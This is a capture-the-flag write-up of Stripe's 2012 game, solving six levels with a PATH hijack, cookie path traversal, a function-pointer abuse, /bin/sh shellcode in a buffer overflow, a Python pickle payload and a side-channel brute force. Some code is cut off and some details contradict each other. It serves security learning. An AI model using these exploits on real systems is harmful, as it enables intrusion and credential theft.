Hacking for fun -- capture the flag

 

Stripe released their capture the flag game recently https://stripe.com/blog/capture-the-flag and I thought it'd be a fun exercise to document my entire procedure.

So... before you enter, I warn you... there are spoilers in here...

Level01

Welcome to Capture the Flag. I, by the way, am not at all affiliated with

Stripe, I'm just an excited participant and want to share my journey.

Let's get started on level01

ssh level01@ctf.stri.pe

So we want to read the file /home/level02/.password. It looks like it's owned by level02, so we can't just read it (and what fun would that be?).

Let's investigate the binaries that Stripe suggests we look at.

$ /levels/level01
Current time: Fri Feb 24 10:40:58 UTC 2012
$ ls -la /levels/level01 
-r-Sr-x--- 1 level02 level01 8617 2012-02-23 22:44 /levels/level01

Interesting... what can we do with the current date? I suspect that it doesn't implement date on its own, that'd be insane. I bet we can exploit that.

Looking at the source... AHA!

system("date");

It shells out to the system, date. If we could only change the method that runs when date gets called, perhaps we can use that to our advantage.

In linux, binaries are found using the $PATH variable. Considering it shells out to the date function, if we could trick the shelling out to do something different, BAM, we'd have it. Let's create a "binary" that will show us the password... something like:

$ echo "cat /home/level02/.password" > date
$ chmod +x date

Let's link our path and we're almost there!

$ export PATH=$(pwd):$PATH
$ echo $PATH
/tmp/tmp.bL68HPQUt2:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games

Now we can trick the shelling out to the system to call our date and we're golden.

$ /levels/level01
Current time: kxlVXUvzv

Level02

Rad! We've made it to level 02! Perhaps we can have some success in this game after all. Let's move on to level02.

The hint suggests that we should visit: http://ctf.stri.pe/level02.php. Note: For some reason it confused me that I needed HTTP Basic Authentication (until I read the hint) that we have to provide as the level02/[password from above].

So once we enter that, we see a form. I wonder if there is any way we can bypass the form. Considering Stripe wants us to 'crack' our way through this, I'm willing to bet some 'idiot' (aka purposeful mistake) left something in the source for level02.php. Let's have a look!

$out = '';
if (!isset($_COOKIE['user_details'])) {
  $out = "

  //Looks like a first time user. Hello, there!";

  $filename = random_string(16) . ".txt";
  $f = fopen('/tmp/level02/' . $filename, 'w');

  $str = $_SERVER['REMOTE_ADDR']." using ".$_SERVER['HTTP_USER_AGENT'];
  fwrite($f, $str);
  fclose($f);
  setcookie('user_details', $filename);
}
else {
  $out = file_get_contents('/tmp/level02/'.$_COOKIE['user_details']);
}
...

echo $out ?

Oh wow, that's easy as pie. Do you see why?

It runs the application at level03 creds, so if we can get it to read the file /home/level03/.password, we'll be golden. Luckily we can do this on the browser without much sweat.

We want to get to the else statement so that it can 'read' from the file that's on the system. If there is a

user_details cookie set, we can dropdown into that else statement. We can easily set a cookie from the browser, but we'll use curl since it's easier to show in text.

Making sure to keep the HTTP Basic Authentication in the request:

curl --user level02:kxlVXUvzv --digest http://ctf.stri.pe/level02.php

Let's try to set the user_details cookie and see if we can get the contents of the cookie to render on the html. We see that it's going to read from a file on the filesystem. We can so definitely use this to our advantage and have it read from the file we want to pull from. Let's set the cookie to the relative (to the file) path of the file that we're interested in: /home/level03/.password.

  curl --user level02:kxlVXUvzv --digest --cookie "user_details=../../home/level03/.password" http://ctf.stri.pe/level02.php
  # ...

  Level02
  # Welcome to the challenge!

  Or0m4UX07b
  Name: 
  Age:

Well that was easy!

Level03

Congratulations on making it to level 3!

The password for the next level is in /home/level04/.password. As before, you may find /levels/level03 and /levels/level03.c useful. While the supplied binary mostly just does mundane tasks, we trust you'll find a way of making it do something much more interesting.

There are 6 levels in this CTF; if you're stuck, feel free to email ctf@stripe.com for guidance.

Firstly, let's look at the source of /levels/level03.c.

Interesting. At first glance, the source doesn't reveal anything fancy for me yet. The common hacks are out... buffer overflow is taken into account, the format string bug isn't going to be useful here. Looks like we might have to dig a little deeper for this round.

The source reveals some lazy programmer left a crucial function in the source code

int run(const char *str)
{
  // This function is now deprecated.
  return system(str);
}

This is going to be our target. Since the file is owned by the user level04, anything that gets run by that function will be owned by the level04 user.

It also shows that it calls a function by pointer after it does the maintenance of copying the buffer and checking for overflows.

fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};

That's mighty interesting... Finally the last thing we'll take note about is that the function gets called by a pointer, which is good. It means if we can get access to run in comparison to the fns function pointer, then we can execute it.

int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
  char buf[64];
  // Truncate supplied string
  strncpy(buf, user_string, sizeof(buf) - 1);
  buf[sizeof(buf) - 1] = '\0';
  return fns[index](buf); // 

Let's get to work.

ssh level03@ctf.stri.pe
# Fire up gdb on the sucker
gdb /levels/level03 --directory=/levels

(gdb) r 0 "hello world"
Starting program: /levels/level03 0 "hello world"
warning: the debug information found in "/lib/ld-2.11.1.so" does not match "/lib/ld-linux.so.2" (CRC mismatch).

Uppercased string: HELLO WORLD

Program exited normally.

Rad! We're in good shape. Let's take a step back and think about what the stack looks like where we are at:

----------------- <- Top of the stack
|       .       |
|       .       |
|       .       |
|     argv      |
|     argc      |
|     etc       |
-----------------
|     stack     |
|       |       |
|       |       |
|       v       |
|       ^       |
|       |       |
|       |       |
|     heap      |
-----------------
|     bss       |
|     etc       |
-----------------

When the program loads, it starts at the top of the stack and loads all of the argv/argc/env into the stack so that the program has these accessible when it runs. When a new function is called, its local arguments are placed upon the stack just the same as the main function works (with some slight differences, of course). It'll look something like:

|     ...       |
|     argc      |
|     etc       |
-----------------
|     stack     |
|       |       |
|      ret      |  <- return address after we're done with the function
-----------------  <- frame pointer (basically the top of the stack for the local function)
|      str      |  <- parameter for `int run(const char *str)`
-----------------  
|     vars      |  <- local variables, if any
|       .       |  <- function call

So when we sink into the truncate_and_call function, all it does is set up a stack below our current running stack. We're going to do some math and try to calculate where the run function is in correlation to our current running spot.

Nothing remarkable yet. Let's investigate a bit further into when the function gets called.

(gdb) b truncate_and_call
Breakpoint 1 at 0x8048780: file level03.c, line 57.
(gdb) r 2 "hello world"
(gdb) r 2 "hello world"
Starting program: /levels/level03 2 "hello world"
warning: the debug information found in "/lib/ld-2.11.1.so" does not match "/lib/ld-linux.so.2" (CRC mismatch).


Breakpoint 1, truncate_and_call (fns=0xffcd393c, index=2, user_string=0xffcd5915 "hello world") at level03.c:57
57    {
(gdb)

This is good news, we're almost to the point where we know where the buffer is. If we can load the buffer with the execution method, then we're good to go. Let's go a bit further and then do some digging and whip out our calculators.

(gdb) n
60    strncpy(buf, user_string, sizeof(buf) - 1);
(gdb) p &buf
$1 = (char (*)[64]) 0xffcd38cc
(gdb)

Now we have the address of the buffer, let's get the address of the fns

(gdb) p fns
$2 = (fn_ptr *) 0xffcd393c
(gdb)

Add a little bit of math:

(gdb) p (0xffcd393c-0xffcd38cc)/sizeof(int)
$5 = 28

Lastly, let's capture the address of 'run' so that when the program executes it, we can 'fake' where it calls and then leave it (q):

(gdb) p run
$1 = {int (const char *)} 0x804875b 
(gdb) q

Great, so we are specifically 28 addresses away from the run function when the program calls fnsindex;. Now we can go back to our command-line and execute the function that's 28 addresses up the stack. So we're going to "trick" the program to call our own method at the address.

# Because of little endians, notice that the hex address is "backwards"
$ echo "cat /home/level04/.password" > $(printf "\x5b\x87\x04\x08")
$ chmod +x "$(printf '\x5b\x87\x04\x08')"

Finally run it and we'll get the password!

$ /levels/level03 -28 "$(printf '\x5b\x87\x04\x08')"
i5cBbPvPCpcP

Level04

Woot! Congrats, we got to level04 in one piece! As per usual, we have to get into the file /home/level05/.password.

Let's take a peek at the source code before we dive too much further into the process. (Because it's so small, I'll just copy the file here).

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void fun(char *str)
{
  char buf[1024];
  strcpy(buf, str);
}

int main(int argc, char **argv)
{
  if (argc != 2) {
    printf("Usage: ./level04 STRING");
    exit(-1);
  }
  fun(argv[1]);
  printf("Oh no! That didn't work!\n");
  return 0;
}

Oh this looks ripe for the pickings. I'd be willing to bet we can do this without batting too much of an eye. It looks like standard buffer overflow exploit fun.

I'll explain. We can exploit this program because the first argument is a string that’s being shoved into a buffer where the length is not checked. That means we can attempt to rewrite the end of the buffer where the return pointer is kept. This is the basis for the name of the exploit “buffer overflow.” Get it?

top of the stack
|
v
[program stuff][--------buffer-------][return_address]

We want to fill that buffer and then overwrite the return_address such that the return address after the function is called gets executed.

To be complete, let's talk about writing shellcode. Yet another shellcode tutorial... shhhh, it'll be fun.

When I write shellcode, I can just do it directly in assembly, but it takes a while for me to get back into assembly-mode-of-thinking, so I usually like to write what I want in C, disassemble the code and the strip out the parts I don't need. Plus I usually don't make dumb errors when I do it like that.

Let's whip up our trusty vim and get to coding a c program to drop us into a shell.

#include <stdlib.h>

int main()
{
  char *args[2];
  args[0] = "/bin/sh";
  args[1] = NULL;
  execve(args[0], args, NULL);
  exit(0);
}

This is the absolute smallest, simplest way to drop into a shell (that I can think of right now) in c. So let's compile it and make sure it works (of course).

$ # I use -static almost always so that there are no dynamic linking issues
$ gcc -static -g -o shell shell.c
$ ./shell
$

Awesome! It works. Now the fun begins in trying to turn this into shellcode. First, we'll turn it into assembly code, because... well, it'll be much easier to shrink and package shellcode from assembly.

$ gdb shell
GNU gdb (GDB) 7.1-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:

...
Reading symbols from /tmp/tmp.RL54A9ZGit/shell...(no debugging symbols found)...done.

(gdb) disas main
Dump of assembler code for function main:
   0x0000000000400434 : push   %rbp
   0x0000000000400435 : mov    %rsp,%rbp
   0x0000000000400438 : sub    $0x10,%rsp
   0x000000000040043c : movq   $0x4798c4,-0x10(%rbp)
   0x0000000000400444 :    movq   $0x0,-0x8(%rbp)
   0x000000000040044c :    mov    -0x10(%rbp),%rax
   0x0000000000400450 :    lea    -0x10(%rbp),%rcx
   0x0000000000400454 :    mov    $0x0,%edx
   0x0000000000400459 :    mov    %rcx,%rsi
   0x000000000040045c :    mov    %rax,%rdi
   0x000000000040045f :    callq  0x40d4a0 
0x0000000000400464 :    mov    $0x0,%edi
   0x0000000000400469 :    callq  0x401050 
End of assembler dump.

Okay, a bit of explaining here before we go a bit further. (If you don't want to run through this "tutorial," feel free to skip to the next section). Remember the last mission when we had to look up the stack and compute where our function was, taking into account the arguments on the stack for the function call. We're going to do some work here that's related. So if you skipped over that, I suggest checking that out again.

The main method calls execve, which you can see from the line:

0x000000000040045f :  callq  0x40d4a0

This means that all of the local variables that will be used by execve will be available on the stack. Let's follow the stack placement for this method call:

----------------- 
        |       .       | <-- 4 byte stack boundary
        ----------------- 
%rsp -> |    old %rbp   | <-- mov    %rsp,%rbp (4 push old value of %rbp on the stack)

The first step is to update the %rsp and then move the %rbp to point to the new top of the stack. This is so that we can "fake" the method call into thinking that it's the top of the stack (note, this is how function calls work). Next, we'll subtract 16 bytes from the %rsp that'll give us 8 bytes of padding on our stack. It now looks like:

        ----------------- 
        |       .       | 
        ----------------- 
        |    old %rbp   | 
        |       .       |
        |       .       |
%rsp -> ----------------- <-- sub    $0x10,%rsp

Now we're going to load a specific address inside the memory location we just allocated on the stack.

      ----------------- 
      |       .       | 
      ----------------- 
      |    old %rbp   | 
      |       .       |
      |    0x4798c4   | <-- movq   $0x4798c4,-0x10(%rbp) [P("/bin/sh") -- a pointer to "/bin/sh"]
%rsp -> -----------------

That's the address of the "/bin/sh" that we allocated before. To prove it, we can dive into the address in gdb. Let's take a look!

(gdb) x/1s 0x4798c4
0x4798c4:    "/bin/sh"

Cool! The next instruction is going to load 0 into the next memory location just above where "/bin/sh" is located.

        ----------------- 
        |       .       | 
        ----------------- 
        |    old %rbp   | 
        |      0x0      | 
        |    0x4798c4   | <-- P("/bin/sh")
%rsp -> -----------------

The next two instructions load the P("/bin/sh") into &rax and then load the effective address into %rcx, so our updated stack looks like this:

        ----------------- 
        |       .       | 
        ----------------- 
        |    old %rbp   | 
        |      0x0      | 
        |    0x4798c4   | <-- P("/bin/sh") -- (mov    -0x10(%rbp),%rax) -- (lea    -0x10(%rbp),%rcx) <~ %rcx
%rsp -> -----------------

Now we're going to push a NULL onto the stack:

        ----------------- 
        |       .       |
        ----------------- 
        |    old %rbp   | 
        |      0x0      | 
        |    0x4798c4   |
        -----------------
%rsp -> |      0x0      | <-- mov    $0x0,%edx

Almost there, promise... so now we're going to push the two

        ----------------- 
        |       .       |
        ----------------- 
        |    old %rbp   |
        |      0x0      |
        |    0x4798c4   |
        -----------------
        |      0x0      |
        |     %rcx      |
%rsp -> |     %rax      |

So let's walk through this because the absolute next call is going to be to execve. On our stack now, we have a pointer to %rcx, which is simply a pointer to the pointer of the P("/bin/sh"). %rax is simply a pointer to "/bin/sh" (we loaded this effective address).

Since execve looks like:

int execve(const char *path, char *const argv[], char *const envp[]);

We can see that the stack will have everything we know loaded on to the stack. The top of the stack (yes, I know it's weird to say “top of the stack” even though in this picture it's at the bottom, but that’s just the convention)... which is denoted by %rsp (which you can remember the "sp" to mean "stack pointer") we have the const char *path at the top. The second argument is a pointer to the array of argument strings. This points to %rcx and then 0. This is null. Ahhh! This is exactly what our c program did, remember? Finally, the 0x0 NULL is the NULL where envp points! Gah, it's so easy!

Back to the level

Now that we know what the stack looks like, let's write this in assembly. Fire up vi again and let's code this up. Maybe with a bit more verbosity so that we can read it ourselves.

.text
.globl _start

_start:
  xorl %eax, %eax     /* We need to push a null terminated string to the stack */
  pushl %eax          /* So first, push a null */
  pushl $0x68732f2f   /* Push //sh */
  pushl $0x6e69622f   /* push /bin */
  movl  %esp, %ebx    /* Store the %esp of /bin/sh into %ebx */
  pushl %eax          /* Since eax is still null, let's use it again */
  pushl %ebx          /* Now we can writ the /bin/sh again for **argv */
  movl  %esp, %ecx    /* Write argv into %ecx */
  xorl  %edx, %edx    /* NULL out edx */
  movb  $0xb, %al     /* Write syscall 11 into %al */
  int $0x80           /* Interrupt the system */

Gross, right? Just kidding, hopefully the comments help. Anyway, let's compile this and then load it and see if it works for us!

$ as -o exec.o exec.s 
$ ld -o Exec exec.o 
$ ./Exec 
$

Awesome! If you didn't make any typos, we should be dropped into a new shell. This is rad. Now we'll extract this assembly language into shellcode. Relax, this part is the easy part.

$ objdump -d Exec 

Exec:     file format elf64-x86-64


Disassembly of section .text:

00000000004000b0 
:
  4000b0:   c7 04 25 e4 00 60 00    movl   $0x6000d8,0x6000e4
  4000b7:   d8 00 60 00 
  4000bb:   b8 0b 00 00 00          mov    $0xb,%eax
  4000c0:   bb d8 00 60 00          mov    $0x6000d8,%ebx
  4000c5:   ba e0 00 60 00          mov    $0x6000e0,%edx
  4000ca:   cd 80                   int    $0x80
  4000cc:   bb 0a 00 00 00          mov    $0xa,%ebx
  4000d1:   b8 01 00 00 00          mov    $0x1,%eax
  4000d6:   cd 80                   int    $0x80

So this is all great and good, of course... but we will end up with nulls in our code if we follow along strictly like this. So with a bit of magic and experience with assembly, I'm going ot shorten the code, but explain it along the way too. Promise.

.text
.globl _start

_start:
  xorl %eax, %eax     /* We need to push a null terminated string to the stack */
  pushl %eax          /* So first, push a null */
  pushl $0x68732f2f   /* Push //sh */
  pushl $0x6e69622f   /* push /bin */
  movl  %esp, %ebx    /* Store the %esp of /bin/sh into %ebx */
  pushl %eax          /* Since eax is still null, let's use it again */
  pushl %ebx          /* Now we can writ the /bin/sh again for **argv */
  movl  %esp, %ecx    /* Write argv into %ecx */
  xorl  %edx, %edx    /* NULL out edx */
  movb  $0xb, %al     /* Write syscall 11 into %al */
  int $0x80           /* Interrupt the system */

That looks a lot cleaner, ey? The two big hex statements basically mean “/bin/sh” in hex, and everything else is pretty self explanatory. We push the arguments on the stack, use the stack pointer to push the NULLed out variables on to the frame and then call the syscall 59 (which is the execve syscall).

Notice that we added the calls shl and shr into our assembly language program. This will shove the bits left and then back right, effectively so we can realign the address from the %rdi register and later the %rax register. For example, bits in memory look like:

[1][1][6][8][7][3][2][f][6][e][6][9][6][2][2][f][\0][\0][\0]...

By shifting left we force the bits to be overwritten without a null. This looks like:

[1][1][6][8][7][3][2][f][6][e][6][9][6][2][2][f][\0][\0][\0]...
[\0][\0][\0][1][1][6][8][7][3][2][f][6][e][6][9][6][2][2][f]
[1][1][6][8][7][3][2][f][6][e][6][9][6][2][2][f][2][2][f]

So this clears our bits with non-null characters.

Cake! Now let's turn that into shellcode.

$ objdump -d ./code

./code:     file format elf32-i386


Disassembly of section .text:

08048054 
:
 8048054:   31 c0                   xor    %eax,%eax
 8048056:   50                      push   %eax
 8048057:   68 2f 2f 73 68          push   $0x68732f2f
 804805c:   68 2f 62 69 6e          push   $0x6e69622f
 8048061:   89 e3                   mov    %esp,%ebx
 8048063:   50                      push   %eax
 8048064:   53                      push   %ebx
 8048065:   89 e1                   mov    %esp,%ecx
 8048067:   31 d2                   xor    %edx,%edx
 8048069:   b0 0b                   mov    $0xb,%al
 804806b:   cd 80                   int    $0x80

Thanks to our trickery, we have no NULLS in our shellcode. Now we can take those hex values and set it up as a shellcode. You can do this by hand or use a nifty little tool such as:

#include <stdio.h>

extern void code_start(); extern void code_end();
main() { fprintf(stderr,"%s",code_start); }

char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";

Now let's test it with our own c program before we go on the attack:

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";

int main(int argc, char **argv) {
    void *ptr = mmap(0, sizeof(shellcode), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
    if (ptr == MAP_FAILED) {
        perror("mmap");
        exit(-1);
    }
    memcpy(ptr, shellcode, sizeof(shellcode));
    sc = ptr;
    sc();
    return 0;
}

Note, we're operating on a non-executable stack, so we have to use the memory mapping to create a memory mapping executable man mmap and copy it into place. Let's see if it works...

$ gcc -g test.c -o test
$ ./test 
$

Perfect! Our shellcode is 49 bytes long (a bit big, but we have 1024 bytes of buffer available in the program, so in the scheme of things, it's tiny).

One more bit of stack review before we actually get to the hack (this will help us shortly, I promise). The stack when a function is called looks something like this:

| return address | rbp+4
|   saved rsp    | rbp           rsp
|       .        | rbp-4
|       .        | rbp-8
|       .        | rbp-12
|       .        | rbp-16

Let's see why this is useful. Let's try to blow the stack on the program first.

$ gdb /levels/level04
GNU gdb (GDB) 7.1-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:

...
Reading symbols from /levels/level04...(no debugging symbols found)...done.
(gdb) r `perl -e 'print "ABCD" x 1100'`
Starting program: /levels/level04 `perl -e 'print "ABCD" x 1100'`
warning: the debug information found in "/lib/ld-2.11.1.so" does not match "/lib/ld-linux.so.2" (CRC mismatch).


Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()

Looking at the registers, we see that the base pointer and the instruction pointer have been overwritten and now point to "DCBA."

(gdb) i r
eax            0xffe21200   -1961472
ecx            0x0  0
edx            0x1131   4401
ebx            0xf77abff4   -142950412
esp            0xffe21610   0xffe21610
ebp            0x44434241   0x44434241
esi            0x0  0
edi            0x0  0
eip            0x44434241   0x44434241
.
.

That's the basis of the buffer overflow exploit. We're going to try to load the ebp with the return address we want... or approximately close to one that we know to be good.

Let's go back to /levels/level04.

So what we'll do is flow in the shellcode and then a bunch of NO-OPs (basically bytes that don't matter) and then try to overrun the return address with the system call.

Awesome. We want to get the shellcode into the buffer and set the return address 8 bytes later so that when the return address is popped off, it looks like it's ours :)

We could write the final part of this exploit in another language, like python or ruby, but to stay consistent we'll construct this part in c.

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

#define LENGTH                  1024+15
#define PROG_NAME               "/levels/level04"
#define RET                     0x0804857b
#define NOP                     0x90

// eip sits at 1036 away on the buffer
// our sc is 23 bytes long
// Thus we need 1013 (1036 - 23) bytes of NOP
// before we put the address
const char *sc =  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";

int main (int argc, char const *argv[])
{
  /* declare and initialize some of the variables */
  char buff[LENGTH];
  long retaddr = RET;
  int i, 
      len = LENGTH, 
      sc_len = strlen(sc);

  // [shellcode][NOPNOPNOPNOPNOPNOP][return]
  memcpy(buff,sc,sc_len);

  for (i = sc_len; i 

So how did I get the EAX location? Well... because we are using the strcpy function, the contents of %eax will contain the location of the buffer that gets overflowed! Duh, so all we have to do is find the location of that call and bam-o! Let's look for that:

  $ objdump -d /levels/level04 | grep eax | grep call
   8048438:   ff 14 85 14 9f 04 08    call   *0x8049f14(,%eax,4)
   804847f:   ff d0                   call   *%eax
   804857b:   ff d0                   call   *%eax

Sweet! So run that bad boy and we'll get ourselves a password!

  $ ./b
  $ cat /home/levels05/.password
  fzfDGnSmd317

Level05

Oh this one seems quite a bit different. The opening line:

Congratulations on making it to level 5! You're almost done!

The password for the next (and final) level is in /home/level06/.password.

As it turns out, level06 is running a public uppercasing service. You can POST data to it, and it'll uppercase the data for you:

  curl localhost:9020 -d 'hello friend'
    {
        "processing_time": 5.0067901611328125e-06,
        "queue_time": 0.41274619102478027,
        "result": "HELLO FRIEND"
    }

You can view the source for this service in /levels/level05. As you can see, the service is structured as a queue server and a queue worker.

Could it be that this seemingly innocuous service will be level06's downfall?

Let's look in the source code to see if we can find any hints.

If you know python, you should know the pickle module is cause for concern and the application is clearly using it http://blog.nelhage.com/2011/03/exploiting-pickle/ and http://penturalabs.wordpress.com/2011/03/17/python-cpickle-allows-for-arbitrary-code-execution/. This is where we'll start looking because it's calling pickle.

  def deserialize(serialized):
        logger.debug('Deserializing: %r' % serialized)
        parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL)
        match = parser.match(serialized)
        direction = match.group(1)
        data = match.group(2)
        job = pickle.loads(match.group(3))
        return direction, data, job

Hm... so the line calling pickle is being called job = pickle.loads(match.group(3)). Alrighty... that'll be useful in a minute... First, look at the string that it's looking at... it's being called with the third match group which is matched with job:. Clearly the goal is to get to the third match. That should be relatively easy because all we have to do is match up to the job string. Rad. Let's experiment around:

  $ curl localhost:9020 -d 'testdata'
  {
      "processing_time": 5.0067901611328125e-06, 
      "queue_time": 0.41687297821044922, 
      "result": "TESTDATA"
  }

Okay, let's see if we can't trick it into including our data in job. The data, by the way that we'll want to inject is something along the lines of:

  "cos\nsystem\n(S'cat /home/level06/.password > $(pwd)'\ntR.")"

We know this because this is what the pickle exploit looks like (see http://penturalabs.wordpress.com/2011/03/17/python-cpickle-allows-for-arbitrary-code-execution/ for more information).

Let's see if we can't try to get our stuff in the job field. Then we can clearly run that exploit. Let's try and look at some logs at the same time...

  $ curl localhost:9020 -d 'datamatcheshere; job: hi'
  {
      "result": "Job timed out"
  }

Let's see, just for kicks, if we can get it to run something. Putting in the exploit just to see if we can't get it to run...

  $ curl localhost:9020 -d "datamatcheshere; job: $(printf "cos\nsystem\n(S'cat /home/level06/.password > /tmp/pword05'\ntR.")"
  {
      "result": "Job timed out"
  }

Bummer, that doesn't look like it did anything... for giggles, let's see if it did.

  $ cat /tmp/pword05
  SF2w8qU1QDj

Hah! That's cool. Let's move onwards!

Level06

Sweet! Logging in, we see the usual message:

  Congratulations on making it to level 6! This is the final level. The
  flag is almost in your grasp.

  The password for the flag is in /home/the-flag/.password.

  As it turns out, the-flag is a pretty arrogant user. He created a
  taunting utility and left it in /levels/level06 (source code in
  /levels/level06.c). This utility will read the first line of a
  specified file, compare it with your supplied guess, and taunt you
  unless you guessed correctly.

  You could try using the taunt utility to brute-force the password, but
  that would take... well, I don't want to say forever, but
  approximately that. I guess you'll have to find another way.

  Best of luck!

Oh fun! Let's dig in. Creating a dummy file to check the output of /levels/level06

  $ /levels/level06 /home/the-flag/.password 1
  Welcome to the password checker!
  .
  level06@ctf5:/tmp/tmp.RWhNkGzD30$ Ha ha, your password is incorrect!

Hm... that's not incredibly helpful... yet. Let's look at the source. I see fork in there... perhaps we can play with fork... Let's keep looking... Hm. Not much else to go on... I suppose we could try to 'brute-force' the password, despite the fact that the hint says not to. Since we are looking at it character 1-by-1, perhaps we can work on getting each character... Let's try it.

I wrote this program and hopefully included a bunch of comments to help, but basically we're iterating over every single character and using a unix pipe to pass it off to the program. Then we'll wait for the response to come back and hopefully it'll be a good one. Speaking of which, I had to check what a good response would be... let's see:

  $ /levels/level06 /home/the-flag/.password 1
  Welcome to the password checker!
  .
  level06@ctf5:/tmp/tmp.tVkFJvBIju$ Ha ha, your password is incorrect!
  echo $?
  0

Okay, so maybe we can't rely on the status of the response... how about rlimit. rlimit is the resource limit that linux allows. We'll set a hard limit the stdout file so that if a character is revealed, then we can catch that. Oh, that's pretty nifty, ey? Anyway, here's my source code, mainly because I'm tired. If anyone wants me to, I'll comment more about it.

  /*
  vi level06.c; gcc -o level06 level06.c; ./level06

  Notes:
    Oh yeah, pipes: http://tldp.org/LDP/lpg/node11.html
                    http://beej.us/guide/bgipc/output/html/multipage/pipes.html
  */

  #include <stdio.h>
  #include <stdlib.h>
  #include <unistd.h>
  #include <errno.h>
  #include <fcntl.h>
  #include <limits.h>
  #include <string.h>
  #include <sys/wait.h>
  #include <sys/time.h>
  #include <sys/resource.h>
  #include <sys/types.h>
  #include <sys/stat.h>

  #define PROG_NAME "/levels/level06"
  #define THE_FLAG "/home/the-flag/.password"
  #define BUFSIZE 512

  // Globals, woo
  int base_filesize;
  char buf[BUFSIZE];


  int main(int argc, char *argv[]) {
   char buffer[BUFSIZE];
   int i, j;
   char c;
   memset(buffer, 0, BUFSIZE);
   for (i = 0; i 


  Anyway, happy hacking friends. Remember, do only good :)!


  Password: theflagl0eFTtT5oi0nOTxO5

Other solutions online:

*http://git.zx2c4.com/Stripe-CTF/tree/

*https://github.com/dividuum/stripe-ctf

*https://gist.github.com/1899630

Special thanks to zx2c4 for ideas and thoughts.